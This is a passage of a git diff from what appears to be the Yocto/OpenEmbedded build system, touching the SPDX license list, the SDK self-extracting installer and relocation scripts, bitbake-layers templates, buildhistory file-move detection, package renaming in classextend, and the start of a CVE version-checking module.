+ "https://helixcommunity.org/content/rpsl",
+ "https://opensource.org/licenses/RPSL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-DE.json",
+ "referenceNumber": 461,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 3.0 Germany",
+ "licenseId": "CC-BY-NC-ND-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUPL-1.1.json",
+ "referenceNumber": 462,
+ "name": "European Union Public License 1.1",
+ "licenseId": "EUPL-1.1",
+ "seeAlso": [
+ "https://joinup.ec.europa.eu/software/page/eupl/licence-eupl",
+ "https://joinup.ec.europa.eu/sites/default/files/custom-page/attachment/eupl1.1.-licence-en_0.pdf",
+ "https://opensource.org/licenses/EUPL-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Sendmail-8.23.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Sendmail-8.23.json",
+ "referenceNumber": 463,
+ "name": "Sendmail License 8.23",
+ "licenseId": "Sendmail-8.23",
+ "seeAlso": [
+ "https://www.proofpoint.com/sites/default/files/sendmail-license.pdf",
+ "https://web.archive.org/web/20181003101040/https://www.proofpoint.com/sites/default/files/sendmail-license.pdf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ODC-By-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ODC-By-1.0.json",
+ "referenceNumber": 464,
+ "name": "Open Data Commons Attribution License v1.0",
+ "licenseId": "ODC-By-1.0",
+ "seeAlso": [
+ "https://opendatacommons.org/licenses/by/1.0/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/D-FSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/D-FSL-1.0.json",
+ "referenceNumber": 465,
+ "name": "Deutsche Freie Software Lizenz",
+ "licenseId": "D-FSL-1.0",
+ "seeAlso": [
+ "http://www.dipp.nrw.de/d-fsl/lizenzen/",
+ "http://www.dipp.nrw.de/d-fsl/index_html/lizenzen/de/D-FSL-1_0_de.txt",
+ "http://www.dipp.nrw.de/d-fsl/index_html/lizenzen/en/D-FSL-1_0_en.txt",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/deutsche-freie-software-lizenz",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/german-free-software-license",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/D-FSL-1_0_de.txt/at_download/file",
+ "https://www.hbz-nrw.de/produkte/open-access/lizenzen/dfsl/D-FSL-1_0_en.txt/at_download/file"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-4-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-4-Clause.json",
+ "referenceNumber": 466,
+ "name": "BSD 4-Clause \"Original\" or \"Old\" License",
+ "licenseId": "BSD-4-Clause",
+ "seeAlso": [
+ "http://directory.fsf.org/wiki/License:BSD_4Clause"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1.json",
+ "referenceNumber": 467,
+ "name": "GNU Lesser General Public License v2.1 only",
+ "licenseId": "LGPL-2.1",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-Views.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-Views.json",
+ "referenceNumber": 468,
+ "name": "BSD 2-Clause with views sentence",
+ "licenseId": "BSD-2-Clause-Views",
+ "seeAlso": [
+ "http://www.freebsd.org/copyright/freebsd-license.html",
+ "https://people.freebsd.org/~ivoras/wine/patch-wine-nvidia.sh",
+ "https://github.com/protegeproject/protege/blob/master/license.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-1.0-Perl.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-1.0-Perl.json",
+ "referenceNumber": 469,
+ "name": "Artistic License 1.0 (Perl)",
+ "licenseId": "Artistic-1.0-Perl",
+ "seeAlso": [
+ "http://dev.perl.org/licenses/artistic.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NPOSL-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NPOSL-3.0.json",
+ "referenceNumber": 470,
+ "name": "Non-Profit Open Software License 3.0",
+ "licenseId": "NPOSL-3.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/NOSL3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/gSOAP-1.3b.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/gSOAP-1.3b.json",
+ "referenceNumber": 471,
+ "name": "gSOAP Public License v1.3b",
+ "licenseId": "gSOAP-1.3b",
+ "seeAlso": [
+ "http://www.cs.fsu.edu/~engelen/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Interbase-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Interbase-1.0.json",
+ "referenceNumber": 472,
+ "name": "Interbase Public License v1.0",
+ "licenseId": "Interbase-1.0",
+ "seeAlso": [
+ "https://web.archive.org/web/20060319014854/http://info.borland.com/devsupport/interbase/opensource/IPL.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/StandardML-NJ.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/StandardML-NJ.json",
+ "referenceNumber": 473,
+ "name": "Standard ML of New Jersey License",
+ "licenseId": "StandardML-NJ",
+ "seeAlso": [
+ "http://www.smlnj.org//license.html"
+ ],
+ "isOsiApproved": false
+ }
+ ],
+ "releaseDate": "2021-08-08"
+} \ No newline at end of file
diff --git a/meta/files/toolchain-shar-extract.sh b/meta/files/toolchain-shar-extract.sh
index ccc4f4e1ac..4386b985bb 100644
--- a/meta/files/toolchain-shar-extract.sh
+++ b/meta/files/toolchain-shar-extract.sh
@@ -1,13 +1,13 @@
#!/bin/sh
-[ -z "$ENVCLEANED" ] && exec /usr/bin/env -i ENVCLEANED=1 HOME="$HOME" \
- LC_ALL=en_US.UTF-8 \
- TERM=$TERM \
- ICECC_PATH="$ICECC_PATH" \
- http_proxy="$http_proxy" https_proxy="$https_proxy" ftp_proxy="$ftp_proxy" \
- no_proxy="$no_proxy" all_proxy="$all_proxy" GIT_PROXY_COMMAND="$GIT_PROXY_COMMAND" "$0" "$@"
-[ -f /etc/environment ] && . /etc/environment
-export PATH=`echo "$PATH" | sed -e 's/:\.//' -e 's/::/:/'`
+export LC_ALL=en_US.UTF-8
+#Make sure at least one python is installed
+INIT_PYTHON=$(which python3 2>/dev/null )
+[ -z "$INIT_PYTHON" ] && INIT_PYTHON=$(which python2 2>/dev/null)
+[ -z "$INIT_PYTHON" ] && echo "Error: The SDK needs a python installed" && exit 1
+
+# Remove invalid PATH elements first (maybe from a previously setup toolchain now deleted
+PATH=`$INIT_PYTHON -c 'import os; print(":".join(e for e in os.environ["PATH"].split(":") if os.path.exists(e)))'`
tweakpath () {
case ":${PATH}:" in
@@ -26,7 +26,7 @@ tweakpath /sbin
INST_ARCH=$(uname -m | sed -e "s/i[3-6]86/ix86/" -e "s/x86[-_]64/x86_64/")
SDK_ARCH=$(echo @SDK_ARCH@ | sed -e "s/i[3-6]86/ix86/" -e "s/x86[-_]64/x86_64/")
-INST_GCC_VER=$(gcc --version | sed -ne 's/.* \([0-9]\+\.[0-9]\+\)\.[0-9]\+.*/\1/p')
+INST_GCC_VER=$(gcc --version 2>/dev/null | sed -ne 's/.* \([0-9]\+\.[0-9]\+\)\.[0-9]\+.*/\1/p')
SDK_GCC_VER='@SDK_GCC_VER@'
verlte () {
@@ -56,7 +56,8 @@ if ! xz -V > /dev/null 2>&1; then
exit 1
fi
-DEFAULT_INSTALL_DIR="@SDKPATH@"
+SDK_BUILD_PATH="@SDKPATH@"
+DEFAULT_INSTALL_DIR="@SDKPATHINSTALL@"
SUDO_EXEC=""
EXTRA_TAR_OPTIONS=""
target_sdk_dir=""
@@ -95,7 +96,7 @@ while getopts ":yd:npDRSl" OPT; do
listcontents=1
;;
*)
- echo "Usage: $(basename $0) [-y] [-d <dir>]"
+ echo "Usage: $(basename "$0") [-y] [-d <dir>]"
echo " -y Automatic yes to all prompts"
echo " -d <dir> Install the SDK to <dir>"
echo "======== Extensible SDK only options ============"
@@ -111,17 +112,17 @@ while getopts ":yd:npDRSl" OPT; do
esac
done
-payload_offset=$(($(grep -na -m1 "^MARKER:$" $0|cut -d':' -f1) + 1))
+payload_offset=$(($(grep -na -m1 "^MARKER:$" "$0"|cut -d':' -f1) + 1))
if [ "$listcontents" = "1" ] ; then
if [ @SDK_ARCHIVE_TYPE@ = "zip" ]; then
- tail -n +$payload_offset $0 > sdk.zip
+ tail -n +$payload_offset "$0" > sdk.zip
if unzip -l sdk.zip;then
rm sdk.zip
else
rm sdk.zip && exit 1
fi
else
- tail -n +$payload_offset $0| tar tvJ || exit 1
+ tail -n +$payload_offset "$0"| tar tvJ || exit 1
fi
exit
fi
@@ -242,14 +243,14 @@ fi
printf "Extracting SDK..."
if [ @SDK_ARCHIVE_TYPE@ = "zip" ]; then
- tail -n +$payload_offset $0 > sdk.zip
+ tail -n +$payload_offset "$0" > sdk.zip
if $SUDO_EXEC unzip $EXTRA_TAR_OPTIONS sdk.zip -d $target_sdk_dir;then
rm sdk.zip
else
rm sdk.zip && exit 1
fi
else
- tail -n +$payload_offset $0| $SUDO_EXEC tar xJ -C $target_sdk_dir --checkpoint=.2500 $EXTRA_TAR_OPTIONS || exit 1
+ tail -n +$payload_offset "$0"| $SUDO_EXEC tar mxJ -C $target_sdk_dir --checkpoint=.2500 $EXTRA_TAR_OPTIONS || exit 1
fi
echo "done"
diff --git a/meta/files/toolchain-shar-relocate.sh b/meta/files/toolchain-shar-relocate.sh
index e3c10018ef..cee9adbf39 100644
--- a/meta/files/toolchain-shar-relocate.sh
+++ b/meta/files/toolchain-shar-relocate.sh
@@ -5,7 +5,7 @@ fi
# fix dynamic loader paths in all ELF SDK binaries
native_sysroot=$($SUDO_EXEC cat $env_setup_script |grep 'OECORE_NATIVE_SYSROOT='|cut -d'=' -f2|tr -d '"')
-dl_path=$($SUDO_EXEC find $native_sysroot/lib -name "ld-linux*")
+dl_path=$($SUDO_EXEC find $native_sysroot/lib -maxdepth 1 -name "ld-linux*")
if [ "$dl_path" = "" ] ; then
echo "SDK could not be set up. Relocate script unable to find ld-linux.so. Abort!"
exit 1
@@ -55,10 +55,13 @@ fi
for replace in "$target_sdk_dir -maxdepth 1" "$native_sysroot"; do
$SUDO_EXEC find $replace -type f
done | xargs -n100 file | grep ":.*\(ASCII\|script\|source\).*text" | \
- awk -F':' '{printf "\"%s\"\n", $1}' | \
- grep -Ev "$target_sdk_dir/(environment-setup-*|relocate_sdk*|${0##*/})" | \
+ awk -F': ' '{printf "\"%s\"\n", $1}' | \
+ grep -Fv -e "$target_sdk_dir/environment-setup-" \
+ -e "$target_sdk_dir/relocate_sdk" \
+ -e "$target_sdk_dir/post-relocate-setup" \
+ -e "$target_sdk_dir/${0##*/}" | \
xargs -n100 $SUDO_EXEC sed -i \
- -e "s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:g" \
+ -e "s:$SDK_BUILD_PATH:$target_sdk_dir:g" \
-e "s:^#! */usr/bin/perl.*:#! /usr/bin/env perl:g" \
-e "s: /usr/bin/perl: /usr/bin/env perl:g"
@@ -69,7 +72,7 @@ fi
# change all symlinks pointing to @SDKPATH@
for l in $($SUDO_EXEC find $native_sysroot -type l); do
- $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e "s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:") $l
+ $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e "s:$SDK_BUILD_PATH:$target_sdk_dir:") $l
if [ $? -ne 0 ]; then
echo "Failed to setup symlinks. Relocate script failed. Abort!"
exit 1
diff --git a/meta/lib/bblayers/create.py b/meta/lib/bblayers/create.py
index 542f31fc81..7ddb777dc7 100644
--- a/meta/lib/bblayers/create.py
+++ b/meta/lib/bblayers/create.py
@@ -35,6 +35,7 @@ class CreatePlugin(LayerPlugin):
bb.utils.mkdirhier(conf)
layername = os.path.basename(os.path.normpath(args.layerdir))
+ layerid = args.layerid if args.layerid is not None else layername
# Create the README from templates/README
readme_template = read_template('README').format(layername=layername)
@@ -54,7 +55,7 @@ class CreatePlugin(LayerPlugin):
# Create the layer.conf from templates/layer.conf
layerconf_template = read_template('layer.conf').format(
- layername=layername, priority=args.priority, compat=compat)
+ layerid=layerid, priority=args.priority, compat=compat)
layerconf = os.path.join(conf, 'layer.conf')
with open(layerconf, 'w') as fd:
fd.write(layerconf_template)
@@ -71,7 +72,8 @@ class CreatePlugin(LayerPlugin):
def register_commands(self, sp):
parser_create_layer = self.add_command(sp, 'create-layer', self.do_create_layer, parserecipes=False)
parser_create_layer.add_argument('layerdir', help='Layer directory to create')
- parser_create_layer.add_argument('--priority', '-p', default=6, help='Layer directory to create')
+ parser_create_layer.add_argument('--layerid', '-i', help='Layer id to use if different from layername')
+ parser_create_layer.add_argument('--priority', '-p', default=6, help='Priority of recipes in layer')
parser_create_layer.add_argument('--example-recipe-name', '-e', dest='examplerecipe', default='example', help='Filename of the example recipe')
parser_create_layer.add_argument('--example-recipe-version', '-v', dest='version', default='0.1', help='Version number for the example recipe')
diff --git a/meta/lib/bblayers/templates/example.bb b/meta/lib/bblayers/templates/example.bb
index c4b873d593..facaae35d2 100644
--- a/meta/lib/bblayers/templates/example.bb
+++ b/meta/lib/bblayers/templates/example.bb
@@ -2,10 +2,12 @@ SUMMARY = "bitbake-layers recipe"
DESCRIPTION = "Recipe created by bitbake-layers"
LICENSE = "MIT"
-python do_build() {
+python do_display_banner() {
bb.plain("***********************************************");
bb.plain("* *");
bb.plain("* Example recipe created by bitbake-layers *");
bb.plain("* *");
bb.plain("***********************************************");
}
+
+addtask display_banner before do_build
diff --git a/meta/lib/bblayers/templates/layer.conf b/meta/lib/bblayers/templates/layer.conf
index e2eaff4346..dddfbf716e 100644
--- a/meta/lib/bblayers/templates/layer.conf
+++ b/meta/lib/bblayers/templates/layer.conf
@@ -5,9 +5,9 @@ BBPATH .= ":${{LAYERDIR}}"
BBFILES += "${{LAYERDIR}}/recipes-*/*/*.bb \
${{LAYERDIR}}/recipes-*/*/*.bbappend"
-BBFILE_COLLECTIONS += "{layername}"
-BBFILE_PATTERN_{layername} = "^${{LAYERDIR}}/"
-BBFILE_PRIORITY_{layername} = "{priority}"
+BBFILE_COLLECTIONS += "{layerid}"
+BBFILE_PATTERN_{layerid} = "^${{LAYERDIR}}/"
+BBFILE_PRIORITY_{layerid} = "{priority}"
-LAYERDEPENDS_{layername} = "core"
-LAYERSERIES_COMPAT_{layername} = "{compat}"
+LAYERDEPENDS_{layerid} = "core"
+LAYERSERIES_COMPAT_{layerid} = "{compat}"
diff --git a/meta/lib/buildstats.py b/meta/lib/buildstats.py
index 8627ed3c31..c52b6c3b72 100644
--- a/meta/lib/buildstats.py
+++ b/meta/lib/buildstats.py
@@ -43,8 +43,8 @@ class SystemStats:
# depends on the heartbeat event, which fires less often.
self.min_seconds = 1
- self.meminfo_regex = re.compile(b'^(MemTotal|MemFree|Buffers|Cached|SwapTotal|SwapFree):\s*(\d+)')
- self.diskstats_regex = re.compile(b'^([hsv]d.|mtdblock\d|mmcblk\d|cciss/c\d+d\d+.*)$')
+ self.meminfo_regex = re.compile(rb'^(MemTotal|MemFree|Buffers|Cached|SwapTotal|SwapFree):\s*(\d+)')
+ self.diskstats_regex = re.compile(rb'^([hsv]d.|mtdblock\d|mmcblk\d|cciss/c\d+d\d+.*)$')
self.diskstats_ltime = None
self.diskstats_data = None
self.stat_ltimes = None
diff --git a/meta/lib/oe/buildhistory_analysis.py b/meta/lib/oe/buildhistory_analysis.py
index 5b28774c98..b1856846b6 100644
--- a/meta/lib/oe/buildhistory_analysis.py
+++ b/meta/lib/oe/buildhistory_analysis.py
@@ -213,6 +213,7 @@ class FileChange:
changetype_perms = 'P'
changetype_ownergroup = 'O'
changetype_link = 'L'
+ changetype_move = 'M'
def __init__(self, path, changetype, oldvalue = None, newvalue = None):
self.path = path
@@ -251,10 +252,11 @@ class FileChange:
return '%s changed owner/group from %s to %s' % (self.path, self.oldvalue, self.newvalue)
elif self.changetype == self.changetype_link:
return '%s changed symlink target from %s to %s' % (self.path, self.oldvalue, self.newvalue)
+ elif self.changetype == self.changetype_move:
+ return '%s moved to %s' % (self.path, self.oldvalue)
else:
return '%s changed (unknown)' % self.path
-
def blob_to_dict(blob):
alines = [line for line in blob.data_stream.read().decode('utf-8').splitlines()]
adict = {}
@@ -281,11 +283,14 @@ def file_list_to_dict(lines):
adict[path] = splitv[0:3]
return adict
+numeric_removal = str.maketrans('0123456789', 'XXXXXXXXXX')
def compare_file_lists(alines, blines, compare_ownership=True):
adict = file_list_to_dict(alines)
bdict = file_list_to_dict(blines)
filechanges = []
+ additions = []
+ removals = []
for path, splitv in adict.items():
newsplitv = bdict.pop(path, None)
if newsplitv:
@@ -318,11 +323,67 @@ def compare_file_lists(alines, blines, compare_ownership=True):
if oldvalue != newvalue:
filechanges.append(FileChange(path, FileChange.changetype_link, oldvalue, newvalue))
else:
- filechanges.append(FileChange(path, FileChange.changetype_remove))
+ removals.append(path)
# Whatever is left over has been added
for path in bdict:
- filechanges.append(FileChange(path, FileChange.changetype_add))
+ additions.append(path)
+
+ # Rather than print additions and removals, its nicer to print file 'moves'
+ # where names or paths are similar.
+ revmap_remove = {}
+ for removal in removals:
+ translated = removal.translate(numeric_removal)
+ if translated not in revmap_remove:
+ revmap_remove[translated] = []
+ revmap_remove[translated].append(removal)
+
+ #
+ # We want to detect renames of large trees of files like
+ # /lib/modules/5.4.40-yocto-standard to /lib/modules/5.4.43-yocto-standard
+ #
+ renames = {}
+ for addition in additions.copy():
+ if addition not in additions:
+ continue
+ translated = addition.translate(numeric_removal)
+ if translated in revmap_remove:
+ if len(revmap_remove[translated]) != 1:
+ continue
+ removal = revmap_remove[translated][0]
+ commondir = addition.split("/")
+ commondir2 = removal.split("/")
+ idx = None
+ for i in range(len(commondir)):
+ if commondir[i] != commondir2[i]:
+ idx = i
+ break
+ commondir = "/".join(commondir[:i+1])
+ commondir2 = "/".join(commondir2[:i+1])
+ # If the common parent is in one dict and not the other its likely a rename
+ # so iterate through those files and process as such
+ if commondir2 not in bdict and commondir not in adict:
+ if commondir not in renames:
+ renames[commondir] = commondir2
+ for addition2 in additions.copy():
+ if addition2.startswith(commondir):
+ removal2 = addition2.replace(commondir, commondir2)
+ if removal2 in removals:
+ additions.remove(addition2)
+ removals.remove(removal2)
+ continue
+ filechanges.append(FileChange(removal, FileChange.changetype_move, addition))
+ if addition in additions:
+ additions.remove(addition)
+ if removal in removals:
+ removals.remove(removal)
+ for rename in renames:
+ filechanges.append(FileChange(renames[rename], FileChange.changetype_move, rename))
+
+ for addition in additions:
+ filechanges.append(FileChange(addition, FileChange.changetype_add))
+ for removal in removals:
+ filechanges.append(FileChange(removal, FileChange.changetype_remove))
return filechanges
diff --git a/meta/lib/oe/classextend.py b/meta/lib/oe/classextend.py
index f02fbe9fba..e08d788b75 100644
--- a/meta/lib/oe/classextend.py
+++ b/meta/lib/oe/classextend.py
@@ -4,11 +4,21 @@
import collections
+def get_packages(d):
+ pkgs = d.getVar("PACKAGES_NONML")
+ extcls = d.getVar("EXTENDERCLASS")
+ return extcls.rename_packages_internal(pkgs)
+
+def get_depends(varprefix, d):
+ extcls = d.getVar("EXTENDERCLASS")
+ return extcls.map_depends_variable(varprefix + "_NONML")
+
class ClassExtender(object):
def __init__(self, extname, d):
self.extname = extname
self.d = d
self.pkgs_mapping = []
+ self.d.setVar("EXTENDERCLASS", self)
def extend_name(self, name):
if name.startswith("kernel-") or name == "virtual/kernel":
@@ -24,7 +34,7 @@ class ClassExtender(object):
if not subs.startswith(self.extname):
return "virtual/" + self.extname + "-" + subs
return name
- if name.startswith("/"):
+ if name.startswith("/") or (name.startswith("${") and name.endswith("}")):
return name
if not name.startswith(self.extname):
return self.extname + "-" + name
@@ -77,7 +87,7 @@ class ClassExtender(object):
def map_depends_variable(self, varname, suffix = ""):
# We need to preserve EXTENDPKGV so it can be expanded correctly later
if suffix:
- varname = varname + "_" + suffix
+ varname = varname + ":" + suffix
orig = self.d.getVar("EXTENDPKGV", False)
self.d.setVar("EXTENDPKGV", "EXTENDPKGV")
deps = self.d.getVar(varname)
@@ -89,8 +99,13 @@ class ClassExtender(object):
for dep in deps:
newdeps[self.map_depends(dep)] = deps[dep]
- self.d.setVar(varname, bb.utils.join_deps(newdeps, False).replace("EXTENDPKGV", "${EXTENDPKGV}"))
+ if not varname.endswith("_NONML"):
+ self.d.renameVar(varname, varname + "_NONML")
+ self.d.setVar(varname, "${@oe.classextend.get_depends('%s', d)}" % varname)
+ self.d.appendVarFlag(varname, "vardeps", " " + varname + "_NONML")
+ ret = bb.utils.join_deps(newdeps, False).replace("EXTENDPKGV", "${EXTENDPKGV}")
self.d.setVar("EXTENDPKGV", orig)
+ return ret
def map_packagevars(self):
for pkg in (self.d.getVar("PACKAGES").split() + [""]):
@@ -109,12 +124,25 @@ class ClassExtender(object):
continue
self.pkgs_mapping.append([pkg, self.extend_name(pkg)])
- self.d.setVar("PACKAGES", " ".join([row[1] for row in self.pkgs_mapping]))
+ self.d.renameVar("PACKAGES", "PACKAGES_NONML")
+ self.d.setVar("PACKAGES", "${@oe.classextend.get_packages(d)}")
+
+ def rename_packages_internal(self, pkgs):
+ self.pkgs_mapping = []
+ for pkg in (self.d.expand(pkgs) or "").split():
+ if pkg.startswith(self.extname):
+ self.pkgs_mapping.append([pkg.split(self.extname + "-")[1], pkg])
+ continue
+ self.pkgs_mapping.append([pkg, self.extend_name(pkg)])
+
+ return " ".join([row[1] for row in self.pkgs_mapping])
def rename_package_variables(self, variables):
for pkg_mapping in self.pkgs_mapping:
+ if pkg_mapping[0].startswith("${") and pkg_mapping[0].endswith("}"):
+ continue
for subs in variables:
- self.d.renameVar("%s_%s" % (subs, pkg_mapping[0]), "%s_%s" % (subs, pkg_mapping[1]))
+ self.d.renameVar("%s:%s" % (subs, pkg_mapping[0]), "%s:%s" % (subs, pkg_mapping[1]))
class NativesdkClassExtender(ClassExtender):
def map_depends(self, dep):
diff --git a/meta/lib/oe/copy_buildsystem.py b/meta/lib/oe/copy_buildsystem.py
index 31a84f5b06..79642fd76a 100644
--- a/meta/lib/oe/copy_buildsystem.py
+++ b/meta/lib/oe/copy_buildsystem.py
@@ -20,7 +20,7 @@ def _smart_copy(src, dest):
mode = os.stat(src).st_mode
if stat.S_ISDIR(mode):
bb.utils.mkdirhier(dest)
- cmd = "tar --exclude='.git' --xattrs --xattrs-include='*' -chf - -C %s -p . \
+ cmd = "tar --exclude='.git' --exclude='__pycache__' --xattrs --xattrs-include='*' -chf - -C %s -p . \
| tar --xattrs --xattrs-include='*' -xf - -C %s" % (src, dest)
subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
else:
@@ -45,9 +45,6 @@ class BuildSystem(object):
corebase = os.path.abspath(self.d.getVar('COREBASE'))
layers.append(corebase)
- # Get relationship between TOPDIR and COREBASE
- # Layers should respect it
- corebase_relative = os.path.dirname(os.path.relpath(os.path.abspath(self.d.getVar('TOPDIR')), corebase))
# The bitbake build system uses the meta-skeleton layer as a layout
# for common recipies, e.g: the recipetool script to create kernel recipies
# Add the meta-skeleton layer to be included as part of the eSDK installation
@@ -100,11 +97,10 @@ class BuildSystem(object):
layerdestpath = destdir
if corebase == os.path.dirname(layer):
layerdestpath += '/' + os.path.basename(corebase)
- else:
- layer_relative = os.path.relpath(layer, corebase)
- if os.path.dirname(layer_relative) == corebase_relative:
- layer_relative = os.path.dirname(corebase_relative) + '/' + layernewname
- layer_relative = os.path.basename(corebase) + '/' + layer_relative
+ # If the layer is located somewhere under the same parent directory
+ # as corebase we keep the layer structure.
+ elif os.path.commonpath([layer, corebase]) == os.path.dirname(corebase):
+ layer_relative = os.path.relpath(layer, os.path.dirname(corebase))
if os.path.dirname(layer_relative) != layernewname:
layerdestpath += '/' + os.path.dirname(layer_relative)
@@ -259,7 +255,7 @@ def create_locked_sstate_cache(lockedsigs, input_sstate_cache, output_sstate_cac
bb.note('Generating sstate-cache...')
nativelsbstring = d.getVar('NATIVELSBSTRING')
- bb.process.run("gen-lockedsig-cache %s %s %s %s %s" % (lockedsigs, input_sstate_cache, output_sstate_cache, nativelsbstring, filterfile or ''))
+ bb.process.run("PYTHONDONTWRITEBYTECODE=1 gen-lockedsig-cache %s %s %s %s %s" % (lockedsigs, input_sstate_cache, output_sstate_cache, nativelsbstring, filterfile or ''))
if fixedlsbstring and nativelsbstring != fixedlsbstring:
nativedir = output_sstate_cache + '/' + nativelsbstring
if os.path.isdir(nativedir):
@@ -286,7 +282,7 @@ def check_sstate_task_list(d, targets, filteroutfile, cmdprefix='', cwd=None, lo
logparam = '-l %s' % logfile
else:
logparam = ''
- cmd = "%sBB_SETSCENE_ENFORCE=1 PSEUDO_DISABLED=1 oe-check-sstate %s -s -o %s %s" % (cmdprefix, targets, filteroutfile, logparam)
+ cmd = "%sPYTHONDONTWRITEBYTECODE=1 BB_SETSCENE_ENFORCE=1 PSEUDO_DISABLED=1 oe-check-sstate %s -s -o %s %s" % (cmdprefix, targets, filteroutfile, logparam)
env = dict(d.getVar('BB_ORIGENV', False))
env.pop('BUILDDIR', '')
env.pop('BBPATH', '')
diff --git a/meta/lib/oe/cve_check.py b/meta/lib/oe/cve_check.py
new file mode 100644
index 0000000000..0302beeb4a
--- /dev/null
+++ b/meta/lib/oe/cve_check.py
@@ -0,0 +1,148 @@
+import collections
+import re
+import itertools
+import functools
+
+_Version = collections.namedtuple(
+ "_Version", ["release", "patch_l", "pre_l", "pre_v"]
+)
+
+@functools.total_ordering
+class Version():
+
+ def __init__(self, version, suffix=None):
+
+ suffixes = ["alphabetical", "patch"]
+
+ if str(suffix) == "alphabetical":
+ version_pattern = r"""r?v?(?:(?P<release>[0-9]+(?:[-\.][0-9]+)*)(?P<patch>[-_\.]?(?P<patch_l>[a-z]))?(?P<pre>[-_\.]?(?P<pre_l>(rc|alpha|beta|pre|preview|dev))[-_\.]?(?P<pre_v>[0-9]+)?)?)(.*)?"""
+ elif str(suffix) == "patch":
+ version_pattern = r"""r?v?(?:(?P<release>[0-9]+(?:[-\.][0-9]+)*)(?P<patch>[-_\.]?(p|patch)(?P<patch_l>[0-9]+))?(?P<pre>[-_\.]?(?P<pre_l>(rc|alpha|beta|pre|preview|dev))[-_\.]?(?P<pre_v>[0-9]+)?)?)(.*)?"""
+ else:
+ version_pattern = r"""r?v?(?:(?P<release>[0-9]+(?:[-\.][0-9]+)*)(?P<pre>[-_\.]?(?P<pre_l>(rc|alpha|beta|pre|preview|dev))[-_\.]?(?P<pre_v>[0-9]+)?)?)(.*)?"""
+ regex = re.compile(r"^\s*" + version_pattern + r"\s*$", re.VERBOSE | re.IGNORECASE)
+
+ match = regex.search(version)
+ if not match:
+ raise Exception("Invalid version: '{0}'".format(version))
+
+ self._version = _Version(
+ release=tuple(int(i) for i in match.group("release").replace("-",".").split(".")),
+ patch_l=match.group("patch_l") if str(suffix) in suffixes and match.group("patch_l") else "",
+ pre_l=match.group("pre_l"),
+ pre_v=match.group("pre_v")
+ )
+
+ self._key = _cmpkey(
+ self._version.release,
+ self._version.patch_l,
+ self._version.pre_l,
+ self._version.pre_v
+ )
+
+ def __eq__(self, other):
+ if not isinstance(other, Version):
+ return NotImplemented
+ return self._key == other._key
+
+ def __gt__(self, other):
+ if not isinstance(other, Version):
+ return NotImplemented
+ return self._key > other._key
+
+def _cmpkey(release, patch_l, pre_l, pre_v):
+ # remove leading 0
+ _release = tuple(
+ reversed(list(itertools.dropwhile(lambda x: x == 0, reversed(release))))
+ )
+
+ _patch = patch_l.upper()
+
+ if pre_l is None and pre_v is None:
+ _pre = float('inf')
+ else:
+ _pre = float(pre_v) if pre_v else float('-inf')
+ return _release, _patch, _pre
+
+
+def get_patched_cves(d):
+ """
+ Get patches that solve CVEs using the "CVE: " tag.
+ """
+
+ import re
+ import oe.patch
+
+ pn = d.getVar("PN")
+ cve_match = re.compile("CVE:( CVE\-\d{4}\-\d+)+")
+
